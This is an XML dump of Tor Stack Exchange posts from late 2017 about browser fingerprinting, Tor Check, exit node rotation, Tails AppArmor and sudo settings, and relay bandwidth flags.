  <row Id="16136" PostTypeId="2" ParentId="4285" CreationDate="2017-11-20T11:32:30.367" Score="0" Body="&lt;p&gt;Simply yes it in theory can be used to create a partial print, that print can still match a large number of machines out there but it's like dropping the field from billions of possibilities to thousands, if in theory a close match were to join and their canvas got enough collective data it would be enough for a sysadmin to make an &quot;educated guess&quot; and monitor you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I note this from my own tooling around with my own webhost where I introduced ideal parameters for a short test. My team was able to identify 12 out of 50 users between their tor accounts and regular accounts. The IP wasn't logged but the browser api, windows revision (not all cases) java revision, flash revision, and some common extensions. Again this was an internal test where our backend was targeted to sniff specific identifiers not the full possible gamut, and it proved valuable enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you'd be best running an emulated OS or using an alt OS with TOR to make as much different as possible... or just remoting with a vpn though that's a whole world of bleh.&lt;/p&gt;&#xA;" OwnerUserId="19927" LastEditorUserId="19927" LastEditDate="2017-11-22T00:01:43.307" LastActivityDate="2017-11-22T00:01:43.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16137" PostTypeId="2" ParentId="16131" CreationDate="2017-11-20T11:55:20.617" Score="1" Body="&lt;p&gt;As with the actual answer, it is possible but is against TOS for unauthorized individuals, the project is designed for the absolute protection of free speech which would be undermined by such actions. &lt;em&gt;citation needed&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you're at a rally with 1000's of protesters who are peacefully protesting but happen to be wearing masks so they can return to work the next day without having to worry about being fired for voicing their opinion, sure you could brute force and trample their rights but if they did nothing wrong you're putting them in more danger than what they imposed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subnote as noted if there are cases that need to be handled the Team keeps a fair unbiased handle on the situations whether it be those abusing their anonymity or those trying infringe on privacy (ex. the bruteforce identifying OP mentioned) &lt;/p&gt;&#xA;" OwnerUserId="19927" LastActivityDate="2017-11-20T11:55:20.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16138" PostTypeId="2" ParentId="16127" CreationDate="2017-11-20T12:06:10.707" Score="0" Body="&lt;p&gt;By definition no. The core of TOR is that by bouncing through the network you become less identifiable the extra tools just reduce the remaining possible identifiers. You could install NoScript as an extension to your normal browser but to my knowledge that's about as far as you can go without using the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to avoid leaving fingerprints rent a vpn, remote access it, and then browse the internet via any browser on the vpn, your IP will be the only -direct- trace... that and whatever you use to register the vpn... and whatever the vpn provider uses to canvas the systems to prove you're not a bot... so... yeah there's that. -edit- I do realize the inherit flaws with this choice, it is a valid option I've seen suggested so many times which is why I followed it with the logical faults with this &quot;option&quot; &lt;/p&gt;&#xA;" OwnerUserId="19927" LastEditorUserId="19927" LastEditDate="2017-11-21T23:22:52.863" LastActivityDate="2017-11-21T23:22:52.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16140" PostTypeId="2" ParentId="16123" CreationDate="2017-11-20T12:34:38.463" Score="0" Body="&lt;p&gt;Quite an odd idea, essentially it appears to just be a means of doubling down.... what it anonymizes or rather spoofs is usually already either masked or script disabled by TOR, that noted yes it should work. I tried and couldn't add it to any of my current browsers due to signature enforcements...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That noted there's almost no reason to run both at the same time as they have contradictory utilization purposes. If you really wanted to do it and knew enough to discern how you wanted to manually set both up... go for it, nothing ventured nothing gained, me personally I think it's too much effort for what I do but I just code monkey around. nothing serious or important... or legally questionable :P&lt;/p&gt;&#xA;" OwnerUserId="19927" LastActivityDate="2017-11-20T12:34:38.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16141" PostTypeId="2" ParentId="16105" CreationDate="2017-11-20T13:21:00.510" Score="1" Body="&lt;p&gt;No. If it doesn't end up causing a higher error rate/connection issues it still wouldn't net you a noticeable change with your TOR connection rates or overall speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool is made to make already poor connections act more stable and it's optimized to be used alongside tools like shadowstocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is noted from past experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Netspeeder caused freenet to become unstable/almost unusable due to consistently dropped/rejected connections. When it was stable it ran at the same average speed I noted prior to introducing netspeeder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Admittedly this is an assumption solely due to notes when using it alongside freenets network I have not tested it with TOR's network but I'd assume the same issues would occur and at the least it would effectively have little to no bearing on speed if it actually does not have issues as adding lanes to a tunnel doesn't improve the speedlimit just the traffic potential (as well as error rate)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="19927" LastActivityDate="2017-11-20T13:21:00.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16142" PostTypeId="1" AcceptedAnswerId="16145" CreationDate="2017-11-20T13:56:14.673" Score="1" ViewCount="1112" Body="&lt;p&gt;The best way to check that Tor is working is, in my opinion, to connect to an onion site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that the reasoning is that if you don't connect you are not told that Tor isn't working, But couldn't the the &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; site redirect you to an onion address if it finds that you are using Tor - as a definite proof.&lt;/p&gt;&#xA;" OwnerUserId="19930" LastActivityDate="2017-11-20T23:12:12.693" Title="Why isn't https://check.torproject.org an onion address?" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16144" PostTypeId="1" CreationDate="2017-11-20T22:53:44.123" Score="0" ViewCount="1510" Body="&lt;p&gt;The browser simple doesn't load. When I click in the icon both in the favorites or Internet menu nothing happens. When I try using the command line (through tor-browser command) it shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/COs31.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/COs31.png&quot; alt=&quot;(pic showing the error)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time is adjusted and everything seems OK (I can use the Electrum wallet or torify/torsocks in the command line) only Tor Browser is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, my CPU is the core I3 (64 bits) and I'm running Tails over a pendrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me, please! Thank you a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Additional informations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. I used other browsers with torsocks/torify to test. Those browsers are working! But I don't thing this is safe (If it's safe please let me know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. I tried to install the Tor Browser directly (downloading from &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) but in this case it's not working! The browser not install. The sandbox not works either.&lt;/p&gt;&#xA;" OwnerUserId="19943" LastEditorUserId="19943" LastEditDate="2017-11-20T23:44:50.583" LastActivityDate="2023-09-06T00:08:51.073" Title="Tor Browser is not working in the new Tails 3.3 version" Tags="|tor-browser-bundle|tails|linux|browsers|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16145" PostTypeId="2" ParentId="16142" CreationDate="2017-11-20T23:12:12.693" Score="0" Body="&lt;p&gt;It's probably not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onions connections are more sensitive than non-onion connections, specifically sensitive to the date and time being accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not uncommon for people to have &lt;a href=&quot;https://tor.stackexchange.com/questions/6546/why-cant-i-open-most-of-the-onion-sites&quot;&gt;issues connecting to .onion websites&lt;/a&gt;, while non-onion websites work due to their time being out of sync so it &lt;em&gt;not&lt;/em&gt; being an onion might cause less confusion for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Check is subject to false positives (it says you're using Tor but you're actually connecting directly from an IP that is also an Exit node while not using Tor) and false negatives (it says you're not using Tor because the Exit node hasn't been checked and added to the database of known Exit IP addresses yet). It is a best effort but won't provide 100% accurate results all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(There's also the potential for a malicious DNS server to respond to a DNS query for a .onion domain with an IP and trick the user into believing they're making an onion connection when they're not but I think that's a little more far-fetched than the standard use case of &quot;Make sure my Tor Browser is connected&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-20T23:12:12.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16146" PostTypeId="1" AcceptedAnswerId="16154" CreationDate="2017-11-21T02:52:51.193" Score="0" ViewCount="1147" Body="&lt;p&gt;I just finished &lt;a href=&quot;https://twit.tv/shows/know-how/episodes/301?autostart=false&quot; rel=&quot;nofollow noreferrer&quot;&gt;a project to make a Raspberry Pi into a Tor router&lt;/a&gt; and I am curious about technical aspects of Tor that I do not understand. I know how to switch the exit node in Tor Browser during a single browsing session and I think the exit node changes whenever I close and open the browser. However, when one uses Tor for something like the router example, when and for what reasons might the exit node change? For obvious reasons, I am concerned that the exit node would remain constant and degrade anonymity. In an ideal world, I would prefer to have the router change exit nodes at a random internal of up to 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="19946" LastActivityDate="2017-11-21T21:16:26.833" Title="Tor router and exit nodes" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16149" PostTypeId="2" ParentId="16111" CreationDate="2017-11-21T12:18:11.570" Score="0" Body="&lt;p&gt;If you change your screen resolution to something smaller, then the browser window will appear larger on your screen.&#xA;This will still send the same browser window size to the websites you are browsing, but will let you see things more clearly.&lt;/p&gt;&#xA;" OwnerUserId="19930" LastActivityDate="2017-11-21T12:18:11.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16150" PostTypeId="1" CreationDate="2017-11-21T12:32:14.543" Score="1" ViewCount="521" Body="&lt;p&gt;More than two years with my middle relay running smoothly. In May of this year it was disconnected from Tor. Since then I never get the flag of Fast, so I don't help the Tor community. My raspberry pi and I are devastated.&#xA;Problems with my ISP?&#xA;Donald Trump censors me? :)&#xA;Thank you in advance to everyone&#xA;Sorry for my english&lt;/p&gt;&#xA;" OwnerUserId="19954" LastActivityDate="2019-08-14T07:03:10.397" Title="I can't get the Fast flag" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16151" PostTypeId="2" ParentId="16144" CreationDate="2017-11-21T16:02:03.103" Score="0" Body="&lt;p&gt;Thank you, &lt;a href=&quot;https://tor.stackexchange.com/questions/16144/tor-browser-is-not-working-in-the-new-tails-3-3-version#comment18318_16144&quot;&gt;canonizing ironize&lt;/a&gt;. I installed it using &lt;a href=&quot;https://tails.boum.org/install/win/usb/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Universal USB method&lt;/a&gt; and now everything is working pretty well! (actually ublock isn't but I think this a bug from the distro). &lt;/p&gt;&#xA;" OwnerUserId="19958" LastActivityDate="2017-11-21T16:02:03.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16152" PostTypeId="2" ParentId="16150" CreationDate="2017-11-21T20:57:34.080" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dir-spec&lt;/code&gt;&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A router is 'Fast' if it is active, and its bandwidth is either in the top 7/8ths for known active routers &lt;strong&gt;or at least 100KB/s&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that your relay either cannot, or hasn't been seen to, relay at least 100KB/s (that's 100 KBytes/s, or 800KBits/s) by the bandwidth authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be for many reasons, it might be that it hasn't been properly measured yet by the bandwidth authorities (e.g. if it's a new relay) or that there has been some local network change or a change on the device the relay is running on that is causing a bottleneck or it could be a change somewhere upstream. There's not enough information to go on to give a definitive root cause but the core of the issue is: It hasn't been measured by the bandwidth authorities to be able to relay data at &gt;100KBytes/s (&lt;em&gt;and&lt;/em&gt; it's in the bottom 1/8th for relay speed over-all).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-21T20:57:34.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16154" PostTypeId="2" ParentId="16146" CreationDate="2017-11-21T21:16:26.833" Score="0" Body="&lt;p&gt;Tor has a concept of &quot;circuit dirtiness&quot;, after a circuit is first used for a connection it is marked as &quot;dirty&quot; along with the time it was first used. If 10 minutes have elapsed since it was marked as dirty the circuit will not be used for new connections, however it will continue to serve existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor also has a specific flag called &lt;code&gt;KeepAliveIsolateSOCKSAuth&lt;/code&gt;. Tor Browser uses this, in conjunction with a flag called &lt;code&gt;IsolateSOCKSAuth&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IsolateSOCKSAuth&lt;/code&gt; makes the SOCKSPort that Tor provides treat distinct username and passwords on SOCKS connections be isolated onto their own distinct circuits. This is how Tor Browser helps ensure that the requests you make to google.com do not use the same circuits as those for your facebook.com, helping keep your activity in browsing tabs separate from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;KeepAliveIsolateSOCKSAuth&lt;/code&gt; means that each time a request is made on a unique username and password combination on a SOCKS connection it will &lt;em&gt;reset&lt;/em&gt; the circuit dirtiness, keeping it alive for another 10 minutes. This is intended to make users browsing experiences better, since some websites like users logged in session to a specific IP, meaning that if the circuit changed frequently, the user would constantly need to re-authenticate themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your idea &lt;em&gt;isn't&lt;/em&gt; a good one. Changing exit nodes in the case of something like a browser session does &lt;em&gt;not&lt;/em&gt; increase anonymity because browsers carry a lot of state (cache, etc) and even explicitly user-session tracking state, such as cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that changing exit nodes doesn't affect the ability of people to track you, to make a clean break from tracking you &lt;em&gt;must&lt;/em&gt; thoroughly purge the state of the browser. This is the &lt;em&gt;&quot;New Identity&quot;&lt;/em&gt; option provided by Tor Button. This will clear the state of both the browser &lt;em&gt;and&lt;/em&gt; Tor to ensure a clean break between what was previously browsed and what will be browsed after the &lt;em&gt;&quot;New Identity&quot;&lt;/em&gt;. It also offers a &lt;em&gt;&quot;New Circuit For This Site&quot;&lt;/em&gt; option, which will only change the circuit that is used to connect to a site but will not do anything to stop user tracking and will not do anything to delink your activities from your previous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simply put&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing IP address by forcing a change in Exit node at random intervals will &lt;em&gt;not&lt;/em&gt; improve your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;will&lt;/em&gt; make you stand out and look different from all other Tor Browser users, making you &lt;em&gt;less&lt;/em&gt; anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;&quot;New Identity&quot;&lt;/em&gt; &lt;em&gt;will&lt;/em&gt; give you a fresh start, ensuring that you look like a new Tor Browser user and unlinking you from your previous browsing.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-21T21:16:26.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16162" PostTypeId="1" AcceptedAnswerId="16176" CreationDate="2017-11-23T18:22:28.933" Score="0" ViewCount="266" Body="&lt;p&gt;When I try to open/save a file in Tor Browser the 'Places' menu show the &lt;code&gt;/usr/local/lib/tor-browser&lt;/code&gt; as a option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZAYE6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAYE6.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time it doesn't allow to acess the home folder or the desktop folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qFh2H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFh2H.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser in the home folder can be normally accessible. The fact of &lt;code&gt;/usr/local/lib/tor-browser&lt;/code&gt; be accessible but not the home or desktop folders is OK or a bug?&lt;/p&gt;&#xA;" OwnerUserId="19976" LastEditorUserId="19976" LastEditDate="2017-11-23T18:36:17.547" LastActivityDate="2017-11-26T23:49:43.073" Title="Is this a bug? (Tails 3.3)" Tags="|tor-browser-bundle|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16167" PostTypeId="1" CreationDate="2017-11-24T09:53:29.520" Score="0" ViewCount="1686" Body="&lt;p&gt;I want to install and run executable files and apk files in Tails; is there a way to do so?&lt;/p&gt;&#xA;" OwnerUserId="19984" LastActivityDate="2018-09-22T04:00:40.690" Title="How to install executable or *.exe and android apps or *.apk files files in Tails?" Tags="|tails|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16169" PostTypeId="1" CreationDate="2017-11-25T03:50:41.747" Score="1" ViewCount="529" Body="&lt;p&gt;So far it seems that all exit note-to-server connections are communicated in plaintext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add something to a Linux or Windows server so that very last hop is encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or alternately, is there a way to run the services directly on what looks to Tor as an exit node directly&gt;&lt;/p&gt;&#xA;" OwnerUserId="19992" LastActivityDate="2017-11-25T22:19:29.840" Title="Security: Can an exit node be set up with an encrypted connection to the service?" Tags="|onion-services|encryption|server-administration|implementations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16170" PostTypeId="5" CreationDate="2017-11-25T03:55:26.570" Score="0" Body="&lt;p&gt;Clearnet applies to any outside service on the regular Internet that might be accessed by hidden services.  Prime example is how Silk Road got busted by using clearnet to access Captcha service, which disclosed the actual server IP address in Iceland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also apply to users who use Tor as a tunnel to an open proxy so their traffic is hidden from their ISPs but they are doing general browsing.&lt;/p&gt;&#xA;" OwnerUserId="19992" LastEditorUserId="19992" LastEditDate="2017-12-11T10:01:49.577" LastActivityDate="2017-12-11T10:01:49.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16171" PostTypeId="4" CreationDate="2017-11-25T03:55:26.570" Score="0" Body="Clearnet applies to any outside service on the regular Internet that might be accessed by hidden services.  Prime example is how Silk Road got busted by using clearnet to access Captcha service, which disclosed the actual server IP address in Iceland" OwnerUserId="19992" LastEditorUserId="19992" LastEditDate="2017-12-11T10:01:43.313" LastActivityDate="2017-12-11T10:01:43.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16172" PostTypeId="2" ParentId="16169" CreationDate="2017-11-25T22:19:29.840" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So far it seems that all exit note-to-server connections are communicated in plaintext.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They're communicated &lt;em&gt;as they're sent&lt;/em&gt;, I.E. Tor doesn't add or remove any encryption that was already applied to the application traffic. If it was using HTTPS and was encrypted to the service &lt;em&gt;before&lt;/em&gt; entering the Tor network, it will leave the Tor network still encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a helpful interative infographic to help illustrate this, see &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;The EFF's page on Tor and HTTPS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to add something to a Linux or Windows server so that very last hop is encrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, use an end-to-end encrypted transport, like HTTPS, SSH, TLS or one of many other options.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or alternately, is there a way to run the services directly on what looks to Tor as an exit node directly&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You seem to be describing an &lt;a href=&quot;https://www.torproject.org/docs/onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion (or &lt;em&gt;hidden&lt;/em&gt;) service&lt;/a&gt;, where the site to be contacted is run directly at, or close, where the traffic leaves the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the connection is encrypted between the clients Tor process and the services Tor process, allowing for the potential of end-to-end encryption over Tor without any extra transport encryption.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-25T22:19:29.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16173" PostTypeId="2" ParentId="16167" CreationDate="2017-11-25T22:27:07.197" Score="1" Body="&lt;p&gt;There is no supported way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.exe&lt;/code&gt; files (or PE files) are Microsoft Windows executables, which can't be natively run on Linux (which uses ELF files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.apk&lt;/code&gt; files are Android application packages, which are a zip file containing some Dalvik machine code and various other resources are intended to be run an the Dalvik VM which Android uses, and aren't natively supported on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run either of these you'd need some form of emulator, which Tails doesn't supply and the installation of which might break things in unexpected ways. See the warnings on the Tails website &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/additional_software/index.en.html#index1h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;about Additional Software&lt;/a&gt;. As Tails can't properly test every possible software package, they can't make any guarantees about what will or will not work or break.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-25T22:27:07.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16176" PostTypeId="2" ParentId="16162" CreationDate="2017-11-26T23:49:43.073" Score="0" Body="&lt;p&gt;This is intended, since this is the location that Tor Browser executes from and libraries and other files related to Tor Browser are stored it needs to be able to read this directory, this is explicitly defined in the AppArmor profile that's provided for Tor Browser in &lt;code&gt;/etc/apparmor.d/torbrowser&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /usr/local/lib/tor-browser/ r,&#xA;  /usr/local/lib/tor-browser/** r,&#xA;  /usr/local/lib/tor-browser/*.so{,.6} mr,&#xA;  /usr/local/lib/tor-browser/**/*.so mr,&#xA;  /usr/local/lib/tor-browser/browser/* r,&#xA;  /usr/local/lib/tor-browser/TorBrowser/Data/Browser/profiles.ini r,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This provides only read access, as such Tor Browser can read these files but cannot change them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, other parts of the &lt;code&gt;amnesia&lt;/code&gt; user's home folder are denied with explicit exceptions set for &lt;code&gt;~/Tor Browser&lt;/code&gt;, &lt;code&gt;~/Persistent/Tor Browser&lt;/code&gt; and the &lt;code&gt;ammesia&lt;/code&gt; user's local Tor Browser profile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  owner &quot;@{HOME}/Tor Browser/&quot; rw,&#xA;  owner &quot;@{HOME}/Tor Browser/**&quot; rwk,&#xA;  owner &quot;@{HOME}/Persistent/Tor Browser/&quot; rw,&#xA;  owner &quot;@{HOME}/Persistent/Tor Browser/**&quot; rwk,&#xA;  owner &quot;/live/persistence/TailsData_unlocked/Persistent/Tor Browser/&quot; rw,&#xA;  owner &quot;/live/persistence/TailsData_unlocked/Persistent/Tor Browser/**&quot; rwk,&#xA;  owner @{HOME}/.mozilla/firefox/bookmarks/** rwk,&#xA;  owner /live/persistence/TailsData_unlocked/bookmarks/** rwk,&#xA;  owner @{HOME}/.tor-browser/profile.default/ r,&#xA;  owner @{HOME}/.tor-browser/profile.default/** rwk,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-26T23:49:43.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16178" PostTypeId="1" AcceptedAnswerId="16182" CreationDate="2017-11-27T02:11:48.940" Score="0" ViewCount="4090" Body="&lt;p&gt;I want to work on tails without admin passwd, but i do want to config my torrc file and a proxychain. I want to do this without leaving traces on my usbstick (like customized torrc file). Is it possible to disable adminpassword after booting with admin password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no, is it possible to customize tails like:removing admin privileges on the torrc file so I can edit the torrc file without admin password. As second: fix an preinstalled Proxychains 3.1 on my tails usb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: im not using the tails installed from tails (no encrypted volume etc). So things are maybe different from the real live USB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please no stupid questions why I want this, I just want this.&lt;/p&gt;&#xA;" OwnerUserId="20011" LastActivityDate="2017-11-28T03:21:08.280" Title="Tails OS: Disable administration password after booting Tails with adminpasw" Tags="|tails|debian|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16181" PostTypeId="1" AcceptedAnswerId="16183" CreationDate="2017-11-27T22:14:00.500" Score="0" ViewCount="1503" Body="&lt;p&gt;so I've configured my torrc file to only use exit nodes in Russia. Now, I type in the URL of the website that I want to visit and the request is successful. Is there a configuration setting in the browser that will allow me to figure out the IP address of the exit node that was to process the request?&lt;/p&gt;&#xA;" OwnerUserId="20029" LastActivityDate="2017-11-28T04:46:57.557" Title="Finding the exit node using tor browser" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16182" PostTypeId="2" ParentId="16178" CreationDate="2017-11-28T03:21:08.280" Score="0" Body="&lt;p&gt;Basically, the amnesia user has been added to the &lt;code&gt;sudo&lt;/code&gt;ers list. This allow the amnesia user to execute commands as root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is defined by the file &lt;code&gt;/etc/sudoers.d/tails-greeter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Executing &lt;code&gt;sudo passwd -l root&lt;/code&gt; is not sufficient to stop the &lt;code&gt;amnesia&lt;/code&gt; user to from executing &lt;code&gt;sudo -i&lt;/code&gt; and gaining a shell as the root user. It would simply stop logging in directly as the root user. Removing the file &lt;code&gt;/etc/sudoers.d/tails-greeter&lt;/code&gt; will remove the ability for amnesia to execute arbitrary commands as root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your other ideas:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;removing admin privileges on the torrc file so I can edit the torrc file without admin password.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This allows non-admin users to violate Tails' packet filtering and should never happen and is also a potential path to arbitrary code execution as root, this is &lt;em&gt;worse&lt;/em&gt; than sudo since it is not protected by a password.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to do this without leaving traces on my usbstick&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You cannot customize Tails without leaving a trace of the customization on the USB stick. You can create a customized version of Tails but it will be obvious that it is non-standard, and in what ways it is non-standard, to anyone who can read the contents of the USB stick.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-28T03:21:08.280" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16183" PostTypeId="2" ParentId="16181" CreationDate="2017-11-28T04:46:57.557" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be viewed in the Tor Button display. Click the green onion button &lt;em&gt;(next to the address/search bar)&lt;/em&gt; and you should see a panel at the side of the pull-down menu entitled &lt;em&gt;&quot;Tor circuit for this site&quot;&lt;/em&gt;, which shows the circuit that is in use for connecting to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last one on the list before &quot;Internet&quot; is the exit node in use for the connection.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-28T04:46:57.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
